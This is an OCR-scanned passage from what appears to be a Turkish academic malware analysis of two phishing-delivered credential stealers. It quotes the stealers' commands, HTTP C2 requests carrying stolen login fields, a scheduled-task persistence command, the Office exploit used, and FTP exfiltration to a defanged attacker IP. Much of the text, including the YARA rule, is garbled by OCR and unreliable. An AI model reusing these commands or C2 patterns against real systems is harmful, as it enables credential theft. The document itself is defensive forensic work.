S = /cont. htmi. exe; C: \Windows\SYSTEM32
RSVP LUDPv6 Servis Sa
Hyper-V RAW
vSockets DGRAM
MSAFD L2CAP [Bluetoath]
RSVP TCP Servis Sa
MSAFD RfComm [Bluetooth]
vSackets STREAM
RSVP UDP Servis Sa

R o /door [db, php?cmd =Filename % 20 %20 %20 %20 %20 %20 %20 %20 %20 %20: %20C: \Users \muhem\AppData L ocal Microsoft \Edge \LUiser %20Data \De fault\Login%20Data/*\
indows \system32\emd. exe
C:\Windows \system32\cmd.exe fc B.exe [stext B.txt
GET Jdoor fdb.phpicmds=/*\ HTTP/1, Wser-Agent: Auto IR comCache-Control: no-cache
rfdb.php?omd =Created Time  : 10,

0%

20: %20Chromium-Based % 20Edge ™\

{Windows \system;C: \Windows; . ;C: \Program Files (x86)\Common Files\Orade'\Java\javapath;C: \Python37\Scripts;C: \Python37\C: Python27\

Sekil 4.11 Zararli Yazilimin Hedefinin Tespiti

Zararli galigtiginda “c:\Windows\system32\cmd.exe /c B.exe /stext B.txt” komutunun calistig
tespit edilmistir. Zararh yazilim calistiginda “temp” dizini altinda “A.exe” ve “B.exe” isimli iki
uygulama ¢alismaktadir. Ayni zamanda temp dizini altinda “A.txt” ve “B.txt” isimli iki adet de

metin dosyast olugmaktadir. Bu uygulamalarin ekran goriintiileri Sekil 4.12°de verilmisgtir.

Sekil 4.12 A.exe ve B.exe Uygulamalari

Zararli yazilim bu 2 uygulamay1 ¢aligtirip ¢iktilarini metin dosyasina yazarak web kanali izerinden
komuta kontrol(C2) adresine gondermektir. Komuta kontrol olarak kullanilan adres haber icerikli
bir web sitesi oldugu anlagilmigtir. Saldirganlar siiphe uyandirmamak igin bu web sitesindeki
acikliktan yararlanarak buray1 komuta kontrol sunucusu olarak kullanmaktadir.

“A.exe” (Web Browser Password Viewer) isimli uygulama zaten kullanilan tarayici iizerindeki
kayithh parolalar1 gérmeye yarayan bir uygulamadir. Bu Uygulama UPX ile paketlenmistir.
UPX(Ultimate Packer for Executables) farkli igletim sistemleri tarafindan ¢ok fazla dosya formatini
destekleyen agik kaynak kodlu bir paketleme uygulamasidir. Sekil 4.13 ve Sekil 4.14’te zararlilara

ait detaylar gosterilmistir.
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27)

67)

b4 bytes)
B bytes)
Ay 2020)

der (file-checksum)

[y-point)
)
p

known)

1)

t-info-missing)

property value

md5 81 1 153384
shal

sha256

shal-without-overlay
sha256-without-overlay

4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00

first-bytes-hex

first-bytes-text I e e e ot ko SN oo o s
file-size 227240 (bytes)

size-without-overlay 2

entropy 7873

imphash a

signature UPX -> www.upx.sourceforge.net

entry-point 60BEOOAD44008DBEOO70FBFFS7EBOB908A 064688074701DB75078B 1IES3EEFC 11 DB
file-version 206

description Web Browser Password Viewer

file-type executable

cpu 32-bit

subsystem GUI

compiler-stamp 0x5ECBB413 (Mon May 25 15:03:31 2020)
debugger-stamp :

resources-stamp

exports-stamp

version-stamp

Sekil 4.13 A.exe Detaylari

Yine ayni sekilde “B.exe” (E-Mail Password Recovery) isimli e-Posta kutusu parola goriintiileme

uygulamasi da UPX ile paketlenmis oldugu inceleme sonucunda anlagilmaktadir.

property
md5
shal
sha256

md5-without-overlay
shal-without-overlay
sha256-without-overlay
first-bytes-hex
first-bytes-text
file-size
size-without-overlay
entropy

imphash

signature

entry-point
file-version
description

file-type

cpu

subsystem
compiler-stamp
debugger-stamp
resources-stamp
exports-stamp
version-stamp

4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00
195584 (bytes)

7.874
UPX -> www.upx.sourceforge.net

60 BE 00 90 42 00 8D BE 00 80 FD FF 57 EB 0B 90 8A 06 46 88 074701 DB 7507 8B 1E 83 EEFC 11 DB
1.90

Email Password-Recovery

executable

32-bit

GUI

0xS5DE03B9B (Fri Nov 29 00:26:51 2019)

Sekil 4.14 B.exe Detaylari
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Zararl yazilim ¢alistirilip network paketleri incelendiginde yine ayni sekilde kullanic1 adi ve parola

bilgilerini komuta kontrol sunucusuna gondermeye c¢alisildigi anlagilmaktadir. Bu bilgilere ait

detaylar Sekil 4.15°te gosterilmistir.

HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP

Protocol  Length Info

299 GET
207 [GET
157 GET
247 GET
216 GET
172 GET
184 GET
222 GET
209 GET
189 GET
194 GET
197 GET
214 GET
388 GET
191 GET
275 GET
207 GET
157 GET
157 GET
172 GET

/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?b8ddebbiead7dab® HTTP/1.1

Jdoor/db.php? 7°\ HTTP/1.1

/door/db.php?cads)*( HTTP/1.1

/door/db. php? cmd=URL%20%20%20%20%20%20%20%20%20%X20%20%20%20%20%20 : X20https : / /www. virustotal.com/gui/sign-in/*\ HTTP/1.1
/door/db. php? cad=heb%208 rowserX20%20%20%20%20%20%20 : X20Chromium-BasedX20Edge/*\ HTTP/1.1

/wpad.dat HTTP/1.1

/wpad.dat HTTP/1.1

/door/db. php?cadeUserS2oNane%20%20%20%20%20%20%20%20%20 : IR g=a1 1 . com/*\ HTTP/1.1

/door/db. php?cmd=Pas sword¥20X20%2eX20%2e%2e%20%20x 20X 20NN * \ HTTP/1.1

/door/db. php?cmd=Password%20Strength%¥20:%20Strong/*\ HTTP/1.1

/door/db. php?cmd=UserX20NameX20F ie1d%20%20%20: X20email/*\ HTTP/1.1

/door/db. php?cmd=PasswordX20F ie1dX20X20%20%20: X20password/*\ HTTP/1.1

/door/db.php?cad=CreatedX20T imeX20%20%X20%20%20%20:%2010.11.2021%2015:13:38/%\ HTTP/1.1

/d/msdownload/update/sof tware/updt/2021/10/windowspchealthchecksetup_Sedelddbeaf426a8102ef96065bf89758fe40711.cab HTTP/1.1
/door/db. php?ced=ModifiedX20TineX20%20%20%20%20:%20/*\ HTTP/1.1

/door/db. php?cmd=F i lenameX20%20%20%20%20%20%20%20%20%20 : X20C : \ N> t 2\ Local \Microsoft\Edge \UserX20Data\Default\Logink2@Data/*\ HTTP/1.1
/door/db.php?cad: /*\ HTTP/1.1

/door/db.php2cad=)*( HTTP/1.1

/door/db.php?cmd=/*\ HTTP/1.1

/wpad.dat HTTP/1.1

Sekil 4.15 Zararli Calisirken Alinan Ag Trafiginin Analizi

Burada anlatilan tiim analizlerden elde edilen ve bu uygulamaya 6zel olan benzersiz karakterler

ayrigtirilir ve not edilir. Daha sonra bu benzersiz string degerleri gerek hexadecimal’e gevrilerek

gerekse agik metin olarak kullanilacak sekilde doniisiimleri yapilir. Bu bilgilere ek olarak zararliya

ait 6zet fonksiyon degerleri de not edilir. Biitiin bu bilgiler kullanilarak ve 5. Boliimde detaylari

agiklanan sekilde bu zararlinin tespiti i¢in yara kurali yazilir. Burada tespiti ve analizi yapilan

zararliya ait YARA kurali b6liim 4.2.1°de sunulmustur.

4.2.1.

Yapilan Zararh Yazihm Analizine Ait Yara Kurah

Sekil 4.16’da Boliim 4.2°de Analiz edilen zararliya ait yara tespit kurali verilmistir.
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running pro
rd wide

ariable.>Illegal " wide

< 58eeKB and

Sekil 4.16 Boliim 4.2°de Analiz Edilen Zararliya Ait Yara Tespit Kurali

4.3. ikinci Oltalama Saldiris1 Ornegi ve Zararh Yazihm ile Kahcilik Saglama

Birinci Ornekte oldugu gibi bilinen bir bankacilik sirketi olarak kendisini gosteren
“xxx@Xbank[.Jcom" isimli e-Posta adresinden "E-DEKONT.doc" isimli ek dosyasini igeren
(zararli) e-Posta gonderimi yapilmistir. Senaryo geregi "E-DEKONT.doc" isimli dosya windows
outlook client uygulamasi iizerinde Microsoft korumali modda galigtirilmistir. Kullanici bu
uygulamay1 korumali moddan ¢ikarmak igin gereken butona tiklamistir ve zararli makronun

calismasina sebep olmustur. Bu senaryoya ait 6rnek Sekil 4.17°de gosterilmistir.

Insert Draw  Design References  Mailings Review View Develo
o e T .
0 Calibri Light ~[16 ~ A L ¥ == | E3E | 2 || AaBbceDc
Pa_ste ¢ B I U~abkx x° ~A-T=E== = D5~ T Normal 1
Clipboard Font 1 Paragraph ]
I SECURITY WARNING Macros have been disabled. Enable Content
L ;...,...-::.......1...4...2‘......3.......4.......5

Sekil 4.17 Zararli Makronun Aktif Edilmesi
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Bahsedilen e-posta adresinden gonderilen “E-DEKONT.doc” isimli zararli yazilim i¢eren dosya
incelenmistir. “E-DEKONT.doc” zararli Word dokiimani test ortaminda c¢alistirilarak sistem
iizerindeki aktiviteleri incelenmistir. Zararli dokiiman ilk calistigi anda “C:\Users\<Kullanici
Ad>\AppData\Local\Temp” dizininde “l1.a” ve “ldin.exe” isimli zararli dosyalar1 olusturdugu
tespit edilmistir. Ayrica olusan “ldin.exe” isimli zararli yazilimin  “C:\Users\<Kullanici
Adi>\AppData\Roaming” dizinine “SYSTEMGT” isimli ve “ldin.exe” dosyast ile birebir ayni olan
dosyay1 olusturdugu belirlenmistir. “SYSTEMGT” isimli zararli yazilim olustuktan sonra
“C:\Users\<Kullanic1 Adi>\AppData\Local\Temp” dizininde olusan “l.a” ve “ldin.exe” isimli
zararl yazilimlarin silindigi gézlemlenmistir. Olusturulan “SYSTEMGT” dosyas ilk olarak 30
dakika sonrasina ¢alismasi i¢in zamanlanmig gorev olarak kendisini kayit ettigi tespit edilmistir.
Ayrica zararli yazilim ilk ¢alistirmadan itibaren her 1 dakikada kendisini yeniden calistirmakta
oldugu belirlenmistir.

Bu bilgiler dogrultusunda, incelenen ug nokta bilgisayari iizerinden;

o “C:\Windows\Prefect”, “C:\Windows\System32\winevt\Logs\Security.evtx”,

o “\§MFT”,

o  “\$Logfile”,

e  “\§USNJournal”,

e “C:\Windows\System32\wbem\Repostory\OBJECTS.DATA”,
“C:\Windows\appcompat\Programs\Amcache.hve”,
“C:\Windows\System32\config\SYSTEM”,

e “C:\Users\User\NTUSER.DAT”,

konumlarinda bulunan, ¢alisan uygulamalar ile ilgili kayitlarin tutuldugu dosyalar elde edilmistir.
Elde edilen dosyalar adli bilisim inceleme teknikleri kullanilarak analiz edilmistir.

“E-DEKONT.doc” isimli zararli dokiiman analiz edildiginde “CVE-2017-11882” kodlu Microsoft
Office zafiyetini kullanarak sistem {izerinde “ldin.exe” isimli zararli yazilim olusturdugu ve
caligtirdig1 tespit edilmistir. Ayrica zararl yazilimi ¢alistirmak i¢in kullandigi tespit edilen “1.a”
isimli bir dosyanin da sistem {izerinde olusturuldugu belirlenmistir. Bulgulara ait ekran goriintiileri

Sekil 4.18 ve Sekil 4.19’da sunulmustur.
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123 Process Monitor - Sysinternals: www.sysinternals.com
File Edit Event Filter Tools Options Help
FEHIABE TLAS B (M5 HB LM
Time of Day  Process Name PID Operation Path Result Detail
14:51:53,6462887 [w WINWORD EXE 696 @ RegOpenkey HKLM\SOFTWARE\Microsoft \Windows NT CumentV... NAME NOT FOUND Desired Access: G...

o W N X 1 5 eV, SUCCE
wWINWORD EXE 696 FACreateFile lsers\PCWAppDataLocal\ Temphldin exe NAME NOT FOUND Desired Access: R
(w WINWORD.EXE 656 a(lreaisFiIE CMUsers\PChAppData’Local\ TempIdin exe SUCCESS Diesired Access: G...

g ; ' VWO R EXE TO6 SR Werle Csers G AppData Local. 1 emp idin exe TCCES Cffset: 1, Length:
14:51:53,6473886 [ WINWORD EXE 696 ShWiiteFile CA\Users\PC\AppData'\Local\ Tempdin sxe SUCCESS Offset: 4.096, Leng...
14:51:53,6474296 (( WINWORD EXE 696 BhWriteFils CAUsers\PC\AppDataLocal\ Templdin exe SUCCESS Offset: 8.192, Leng
14:51:53.6474406 [w WINWORD EXE 696 ShWiiteFle CAUsers\PC\AppData'\Local\Temp'ldin exe SUCCESS Offset: 12.288, Len...
14:51:53,6474573 ((w WINWORD.EXE 696 SAWriteFils C\Users\PC\AppDataLocal\ Templdin.exe SUCCESS Offset: 16.384, Len...
14:51:53.6474820 [{w WINWORD EXE 696 BWﬁteF\Ia CAUsers\PCh\AppData'Local\ Templdin exe SUCCESS (Offset: 20480, Len...

;! X W = nite File AUsers' pData’\Local\Temp*idin.exe set: . Len...
14:51:53,6474914 [[w WINWORD EXE 696 [ WriteFil C\Users\PC\AppData'Local\ Temp'id SUCCESS Offset: 24.576, Les
14:51:53.6475008 [{w WINWORD.EXE 696 B.WriteF\Ia CAUsers\PC\AppData‘Local\ Temp'ldin exe SUCCESS (Offset: 28672, Len...

: 1 W = rite File \Users pData'\Local\. Temp'Idin.exe set: , Len...
14:51:53,6475166 [{w WINWORD.EXE 696 [k WriteFil CAUsers\PC\AppData'Local\ Temp'id SUCCESS Offset: 32.768, Les

: 1 W = rite:File: A\sers pData’Local\ Temp'ldin exe set: . Len
14:51:53,6475383 ([w WINWORD EXE 656 [ WriteFil CAlsers\PC Data*Local\ Temp\di SUCCESS Offset: 36.864, Les

: 1 (w B iteFile Asers pData'\Local’\. Temp'Idin.exe set: . Len...
14:51:53,6475477 [[w WINWORD EXE 696 A WriteFil CAUsers\PC\AppData'Local\ Temp'id SUCCESS Offset: 40.960, Le:

: 1 L = ite:File “\Users pData’Local\ Temp'ldin exe set: . Len
14:51:53, 6475566 ([w WINWORD EXE 656 [ WriteFil ChlsersiPC Data*Local\ Tempdi SUCCESS Offset: 45.056, Les
14:51:53,6475660 [ WINWORD EXE 696 ShWiiteFile CA\Users\PC\AppData'\Local\ Tempdin sxe SUCCESS Offset: 49.152, Len...
14:51:53,6475754 (s WINWORD EXE 696 BhWriteFils CAUsers\PC\AppDataLocal\ Templdin exe SUCCESS Offset: 53.248, Len
14:51:53.6475848 [w WINWORD EXE 696 ShWiiteFle CAUsers\PC\AppData'\Local\Temp'ldin exe SUCCESS Offset: 57.344, Len...
14:51:53,6475938 (( WINWORD EXE 696 BhWriteFils CAUsers\PC\AppDataLocal\ Templdin exe SUCCESS Offset: 61.440, Len
14:51:53.6476095 [[w WINWORD EXE 696 BWﬁteF\Ia CAUsers\PCh\AppData'Local\ Templdin exe SUCCESS (ffset: 65536, Len...
14:51:53,6476309 ([ WINWORD EXE 696 BWmeF\Ie CAUsers\PC\AppData“Local\ Templdin.exe SUCCESS Offset: 69.632, Len...
14:51:53.6476402 [{w WINWORD.EXE 696 B.WriteF\Ia CAUsers\PC\AppData‘Local\ Temp'ldin exe SUCCESS Offset: 73.728. Len...

: 1 W = rite File \Users pData'\Local\. Temp'Idin.exe set: , Len...
14:51:53,6476496 ([w WINWORD EXE 696 [k WriteFil CAUsers\PC\AppData'Local\ Temp'id SUCCESS Offset: 77.824, Les

: 1 L = rite:File: A\sers pData’Local\ Temp'ldin exe set: . Len
14:51:53, 6476586 [[w WINWORD EXE 656 [ WriteFil CAlsers\PC Data*Local\ Temp\di SUCCESS Offset: 81.920, Les
14:51:53,6476680 ((w WINWORD.EXE 696 A WiiteFile CA\Users\PC\AppData'\Local\ Temp din exe SUCCESS Offset: 86.016, Len...
14:51:53, 6476773 [w WINWORD EXE 696 BhWriteFils CAUsers\PCh\AppDataLocal\ Tempdin exe SUCCESS Offset: 80.112, Len
14:51:53,6476863 [w WINWORD.EXE 696 ShWiiteFile CA\Users\PC\AppData'\Local\ Tempdin sxe SUCCESS Offset: 94.208, Len...
14:51:53,6476557 ([w WINWORD EXE 696 B WrieFils CUsers'PC\AppDataLocal' Templdin exe SUCCESS Offset: 98.304, Len
14:51:53.6477046 [w WINWORD EXE 696 ShWiiteFle CAUsers\PC\AppData'\Local\Temp'ldin exe SUCCESS Offset: 102400 Le...

: 1 L = iteFile Alsers pData’Local\Templdin exe set: 3
14:51:53,6477140 [w WINWORD EXE 696 j_ Write Fil CAUsers\PC Data*Local\ Templdi SUCCESS Offset: 106.436, Le

Sekil 4.18 " WINWORD.EXE"nin "ldin.exe"'yi Olugturmast

£F Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools Options Help

CHIRBE|SAS B AN HE LM

Time of Day  Process Name PID  Operation Path Result Detail
14:51:56,0416577 E'W\NWORD.EXE 8536 3Readﬁ\e CAWindows\SysWOWe4\imageres dil SUCCESS Offset: 206.336, Le...
b ateFile C:\Users\PC\AppData’Local\Temp'1.a NAME NOT FOUND Desired Access: R...

14:51:56 0461734 [{w WINWORD EXE Chlsers\PC\AppDatatLocal\Temptla LCCE Desired Access: G...
14:51:56.0465730 [[w WINWORD.EXE 696 A WriteFile C:\Users\PC\AppDatatLocal\Temp'l.a SUCCESS Offset: 0. Length: 4...
14:51:56,0467348 ([ WINWORD.EXE 696 BhWiteFile C:\Users\PC\AppDatatLocal\Tempil.a SUCCESS Offset: 4.096. Leng...
14:51:56,0468890 ([ WINWORD.EXE 696 BhWiteFile C:\Users\PC\AppDatatLocal\Tempil.a SUCCESS Offset: 8.192, Leng...
14:51:56,0469112 [ WINWORD.EXE 696 BhWiteFile C:\Users\PC\AppDatatLocal\Tempil.a SUCCESS Offset: 12.288, Len...
14:51:56,0469389 ([ WINWORD.EXE 696 BhWiteFile C:\Users\PC\AppDatatLocal\Tempil.a SUCCESS Offset: 16.384, Len...
14:51:56,0469854 ([ WINWORD.EXE 696 BhWiteFile C:\Users\PC\AppDatatLocal\Tempil.a SUCCESS Offset: 20.480, Len...
14:51:56,0470020 ((w WINWORD.EXE 696 BhWiteFile C:\Users\PC\AppDatatLocal\Tempil.a SUCCESS Offset: 24 576, Len...
14:51:56,0470140 ([ WINWORD.EXE 696 BhWiteFile C:\Users\PC\AppDatatLocal\Tempil.a SUCCESS Offset: 28672, Len...
14:51:56,0470276 ([ WINWORD.EXE 696 B ClossFile C:\Users\PC\AppDatatLocal\Tempil.a SUCCESS
14:51:56,0935695 [ WINWORD.EXE 636 B[}Bmsﬂle ChUsers\PC\AppData‘\Local\ Temp'1.a SUCCESS Desired Access: R...
14:51:56,0935594 [{w WINWORD.EXE 696 B.QueryBas\c\nlnrmatinnFi\e CA\Users\PC\AppDatatLocal\Tempi1.a SUCCESS CreationTime: 27.0.
14:51:56,0936118 [(w WINWORD EXE 696 A CloseFile C:\Users'\PC\AppData‘Local\Temp\1.a SUCCESS
14:51:56, 0937427 [{w WINWORD.EXE 696 B.CnaataF\le CA\Users\PC\AppDatatLocal\Temp\1.a:Zone Idertifier ~ SUCCESS Desired Access: G
14:51:56,0840152 (i WINWORD.EXE 696 B.Lm:kFila CA\Users\PC\AppDatatLocal\Temp\1.a:Zone Idertifier ~ SUCCESS Exclusive: True, OF
14:51:56, 0940506 (i WINWORD.EXE 696 B.OueryStandardlnfnrmatinn CA\Users\PC\AppDatatLocal\Temp\1.a:Zone Idertifier ~ SUCCESS AMlocationSize: 0, E
14:51:56,0841206 (i WINWORD.EXE 696 B.Readﬁ\e CA\Users\PC\AppDatatLocal\Temp\1.a:Zone Idertifier ~ SUCCESS (Offset: 0, Length: 0
14:51:56,0941781 ([ WINWORD EXE 696 A WritcFlle C:\Users'\PC\AppDatatLocal\Temp\1.a:Zone |dertifier ~ SUCCESS Offset: 0, Length: 2
14:51:56,0943402 [{w WINWORD.EXE 696 B.SatEndOleelnfnrmatmnHle CA\Users\PC\AppDatatLocal\Temp\1.a:Zone Idertifier ~ SUCCESS EndOfFile: 26
14:51:56,0944622 (i WINWORD.EXE 696 B.LlnlnckF\IeSingla CA\Users\PC\AppDatatLocal\Temp\1.a:Zone Idertifier ~ SUCCESS (Offset: 0, Length: 4
14:51:56,0944559 [{w WINWORD.EXE 696 B.C]nseFi\e CA\Users\PC\AppDatatLocal\Temp\1.a:Zone Idertifier ~ SUCCESS
14:51:56,0953429 EW\NWORD.EXE 8536 gﬂegQuewKev HKC U Software\Classes SUCCESS Query: Name

Sekil 4.19 "WINWORD.EXE"nin "1.a"'yi Olugturmasi

Zararl dokiiman tarafindan sistem {izerinde olusturulan “ldin.exe” isimli dosya analiz edildiginde
kendisini “C:\Users\<Kullanici Adi>\AppData\Roaming” altina kopyaladig1 ve “SYSTEMGT”
ismiyle kaydettigi ve kendisini sildigi tespit edilmistir. Daha sonra ise “PID: 3484, Command line:
schtasks /create /sc minute /mo 1 /tn SystemGT /tr C:\Users\PC\AppData\Roaming\SystemGT”
komutu calistirilarak “SYSTEMGT” zararlisi 1’er dakika araliklarla calismak tizere bir
zamanlanmis gorev olusturdugu ve kendisinin bir kopyast olan “SYSTEMGT” yazilimini
calistirdig1 belirlenmistir. Bulgulara ait ekran goriintiileri Sekil 4.20, Sekil 4.21 ve Sekil 4.22°de

sunulmustur.
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2 Process Monitor - Sysinternals: www.sysinternals.com = o

File Edit Event Filter Tools Options Help

[EH ABE|TAG B A5 &HD

Time of Day Process Name PID Operation Path Detail
14515963437 : .

14:5159,6943810 Dldnm 4652 &Y Thread Create Thread ID: 328
1451:59,7137904 [dn exe 4652 &8 Load Image C:\Users\PC\AppData \Local\Temp\ldn exe Image Base: <600...
1451:55,7139162 [dn.exe 4652 &7 Load Image C:\Windows\System32\rtdi.di Image Base: BcHc...
14:51:59,7141371 [Cidin exe 4652 ShCreatefile C:\Windows'\Prefetch\LDIN.EXE-20855A0E pf NAME NOT FOUND Desired Access:G...
145159,7148622 [Tdnexe 4652 @RegOpenKey HKLM\SYSTEM\CurretCortrol et \Control\Session Manager\Segment Heap REPARSE Desired Access: Q.
14:5159,7148963 [Tdin exe 4652 @RegOpenKey HKLM\System'\CurmentControl Set\Cortrol\Session Manager\Segment Heap NAME NOT FOUND Desired Access: Q.
14:51:59,7154072 [din.exe 4652 PhCreateFile C:\Windows\System32 SUCCESS Desired Access. E...
14551:55,7159352 [dn.exe 4652 CreateFile C:\Windows \System32\mscoree.di SUCCESS Desired Access: R...
14:51:59,7160077 [dn exe 4652 A e C y dl SUCCESS CreationTime: 10.0...
14:5159,7160303 [din exe 4652 CloseFie C:\Windows \System32\mscoree di SUCCESS
14:51:59,7162261 [Tdn exe 4652 PhCreateFile C:\Windows\System32\mscoree i SUCCESS Desired Access: R
14551:59,7162934 [Tdn exe 4652 BhCreateFileMapping C:\Windows \System32\mscoree.di FILE LOCKED WITH ONLY .. SyncType: SyncTy...
14:51:59,7165148 [Clidin exe 4652 ShCreatefileMapping C:\Windows\System32\mscoree dil SUCCESS SyncType: SyncTy...
1451597166658 [Tdn exe 4652 &2 Load Image C:\Windows\System32\mscaree di SUCCESS image Base: OcHfc
14551:59,7168658 [Sdn exe 4652 &% Load Image C:\Windows \System32\kemel32.di SUCCESS image Base: OcHc..
14:51:59,7170385 [din exe 4652 &7 Load Image C:\Windows \System32\KemelBase di SUCCESS Image Base: BxHc..
14551:59,7173742 [din.exe 4652 BhCoseFie C:\Windows\System32\mscoree di SUCCESS
14:51:59,7186217 [dn exe 4652 @ RegQuenValue HKLM\System'CurrentControl et \Cor Y H75-497:2994 71 NAME NOT FOUND Length: 524
1451597187419 [Sdnexe 4652 @RegOpenKey HKLM\System'CurrentControl Set'Control\ Terminal Server REPARSE Desired Access: R...
14:51:59,7187731 [Clidin exe 4652 X RegOpenKey HKLM\System\CurrentControl Set\Control\ Terminal Server SUCCESS Desired Access: R...
14:51:55,7187382 [din exe 4652 #RegQuenyValue HKLM\System'\CurmentControl Set\Control\ Terminal Server\TSAppCompat NAME NOT FOUND Length: 548
14:51:55,7188106 [dn exe 4652 @RecQuenyValue HKLM\System'\CurmentControl Set\Control\ Terminal Server\TSUserEnabled SUCCESS Type: REG_DWO...
1451597188234 [dnexe 4652 RegCloseKey HKLM\System'\CurrentControl Set\Control\ Teminal Server SUCCESS
1451597195621 [dinexe 4652 @RegOpenKey HKLM\System'CurrentControl Set\Control\Nis\Sorting \Versions REPARSE Desired Access: R...
14:51:59,7195936 [Sdin exe 4652 @RegOpenKey HKLM\System'\CurrentControl Set\Control\Nis\Sorting \Versions SUCCESS Desired Access: R..
1451597196256 [TJdn exe 4652 @RegQuenyValue HKLM\System'CurrentControl et \Control\Nis\Sorting \Versions \(Defaut) SUCCESS Type: REG_SZ.Le..
14:51:56,7203907 [din.exe 4652 @ RegOpenKey HKLM\SYSTEM\CurrentCortrolSet \Control\Session Manager REPARSE Access
14:51:59,7204219 [Fdn exe 4652 @RegOpenKey HKLM\System'\CurrentControl Set\Control\ Session Manager SUCCESS
14:51:59,7204505 [Cidin exe 4652 X RegQueryValue HKLM\System\CurrentControl Set \Con ESSION lesourcePolicies NAME NOT FOUND Length: 24
1451:59,7204718 [Fdnexe 4652 @RegCloseKey HKLM\System'\CurrentControl Set \Cortrol\SESSION MANAGER SUCCESS

Showing 1,643 of 328.687 events (0.4%) Backed by virtual memory

Sekil 4.20 "ldin.exe" Zararlisinin Baglamast

2J Process Monitor - Sysinternals: www.sysinternals.com
File Edit Event Filter Tools Options Help

FHXABE(TAS B/ MG X3 AW
Time of Day Process Name PID Operation Path Result

14:52:04,1462217 [C)idin exe C:\Windows \assembly\Nativeimages_v4.0.30319_64\Microsoft.V9921e851#\e84ac2b % 5c b Hf 7060800132 eb\...
: C: \memwwmehm va0. 30319 H\Mamoﬁ VSSZM&SW‘GS‘&&%%LMM&O&:OHZ&\ 1y

14 52:04.2130752 Ekin exe

Sekil 4.21 " Idin.exe"'nin "SYSTEMGT"'yi Olusturmasi

22 Process Monitor - Sysinternals: www.sysintemals.com = o X
File Edit Event Filter Tools Options Help
T T
ZEXBETAG B/ AS B LM
Name PID Operation Path R. Detai
g ReadFile C by _v4.0.30319_§ V892 S... Offset: 164.864, Length: 16.384. /O Rags: Noncached. Paging 1/0. Synchronous Paging 1/0, Pronty: Nomal
ReadFile C: " ;_v4.0.30319_ V992 20%5..S... Offset: 250.880, Length: 12.288, 1/0 Rags: Non-cached, Paging /0, Synchronous Paging 1/0, Priorty: Nomal
ReadFile C: by _v4.030319, V592 S... Offset: 123.904, Length: 16.384, 1/0 Fiags: Non-cached. Paging 1/0, Synchronous Paging /0, Priorty: Normal
ReadFile c ly :_v4.0.30319_ 2b%5..5... Offset: 201.728, Length: 16.384, /O Flags: Non-cached. Paging /0, Synchronous Paging /O, Priorty: Nomal
4652 B\ ReadFile C: iy ;_v4.0.30319_ 7. S... Offset: 4,644,864, Length: 4096, 1/O Alags: Non-cached, Paging 1/0, Synchronous Paging 1/0, Priceity: Nomal
ReadFile c ly _v4.0.30319_ 227414 ... S... Offset: 5.578.752, Length: 28.672. 1/0 Rags: Non-cached. Paging 1/O, Synchronous Paging 1/0, Priorty: Nomal
4652 ShReadFile C: " ,_v4.0.30319_ 207414 b 5. Offset: 4 636 672, Length: 20.480. 1O Flags: Non<cached. Paging 1/0. Synchronous Paging 1/0, Priorty- Nommal
4652 ShReadFile G ly _v4.0.30319_¢ V99, S... Offset: 1.502.208, Length: 4.096, /0 Flags: Non-cached, P: 1/0, Synchronous Paging 1/0, Priority: Normal
4652 BhReadFile C: l _v4.0.30319_ V99; S.. Offset: 1.502.208, Length: 32,768, 1/O Rags: Noncached. Paging /0, Synchronous Paging /O, Priorty: Nomal
4652 BNCreatefie C:\Users\PC\AppData'\Local\Temp'\schtasks exe N... Desred Access: Read Atrbutes. Dispostion: Open, Options: Open Reparse Point, Atributes: n/a, ShareMode: Read, Wiite,
4652 #N\CreateFie C:\Windows\System32\schtasks exe S... Desred Access: Read Attrbutes. Dispostion: Open, Options: Open Reparse Point. Attrbutes: n/a, ShareMode: Read, Witte, ...
4652 BAQy 2 S... CreationTime: 10.07.2015 13:59:54, LastAccessTime: 10,07.2015 13:53:54, LastWrkeTime: 10,07.2015 13:53:54, ChangeTi.
4652 A CloseFile C:\Windows\System32\schtasks exe S
4652 BA\CreateFie C\Wndm\Syuanm S... Desired Access: Read Attrbutes, Dispostion: Open, Options: Open Reparse Point, Attributes: n/a, ShareMode: Read, Wiits,
4652 AQ e S... CreationTime: 10.07 2015 135954 LastAccessTime: 10.07.2015 13:59:54, LastWrteTime: 10.07.2015 13:59:54, ChangeTi...
4652 #NCloseFile C\VW\dm\Sy!ammmm S..
4652 B\CreateFie C:\Windows\System32\schtasks exe S... Desired Access: Read Data/List Directory. Execute/Traverse, Read Attrbutes, Synchronize, Dispostion: Open, Options: Syn.
4652 SN CreateFieMapping C:\Windows\System32\schtasks exe Fl... SyncType: Sync TypeCreateSection, PageProtection:
4652 BACreateFleMapping C:\Windows\System32\schtasks exe S... SyncType: SyncTypeOther
4652 @ RegOpenKey HPG.M\:\”: findows NT\C: \mage File Execution Options\...N... Desred Access: Query Value, Enumerate Sub Keys
4852 BNQu S... Information: Label
S.._Name: \Windows\System32\schtasks exe

C \Wrdmwm:d(s exe
C. PID: 3484. Command Ine: schtasks /create /sc minute /mo 1 An SystemGT Ar C:\Users\PC\AppData\Roaming \System.
r : Query Value

Sekil 4.22 "ldin.exe" 'nin Zamanlanmig Gorev Olusturmasi

“SYSTEMGT” isimli dosya calistig1 siire boyunca ag hareketleri kayit edilmistir. Kayit edilen ag
paket dosyasi incelendiginde “SYSTEMGT” isimli dosya her ¢alistiginda, saldirgan kontroliinde
olan uzak “93.125.99[=]72 (ftp.gr[=]by)” IP adresine FTP protokolii ile baglanarak tarayici
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iizerinde tutulan kimlik ve oturum bilgilerini, zip ve HTML dosyas1 olarak gonderdigi tespit

edilmistir. Bulgulara ait ekran goriintiileri Sekil 4.23, Sekil 4.24 ve Sekil 4.25’te sunulmustur.

File Edit

Event Filter Tools Options

27 Process Monitor - Sysinterals: wwnw.sysinternals.com

SR ABE|(TAG B 65|

Time of Day  Process Name

PID  Operation

Path

13:31:01.008012% []SystemGT
13:31:01,0080193 [SystemGT
13:31:01,0084507 []SystemGT

4228 B Process Start
4228 B8 Thread Create
4228 B% Load Image

C\Users'\msty'\AppData‘Roaming\SystemGT

i 107 [ SystemG T

720 & Load mage

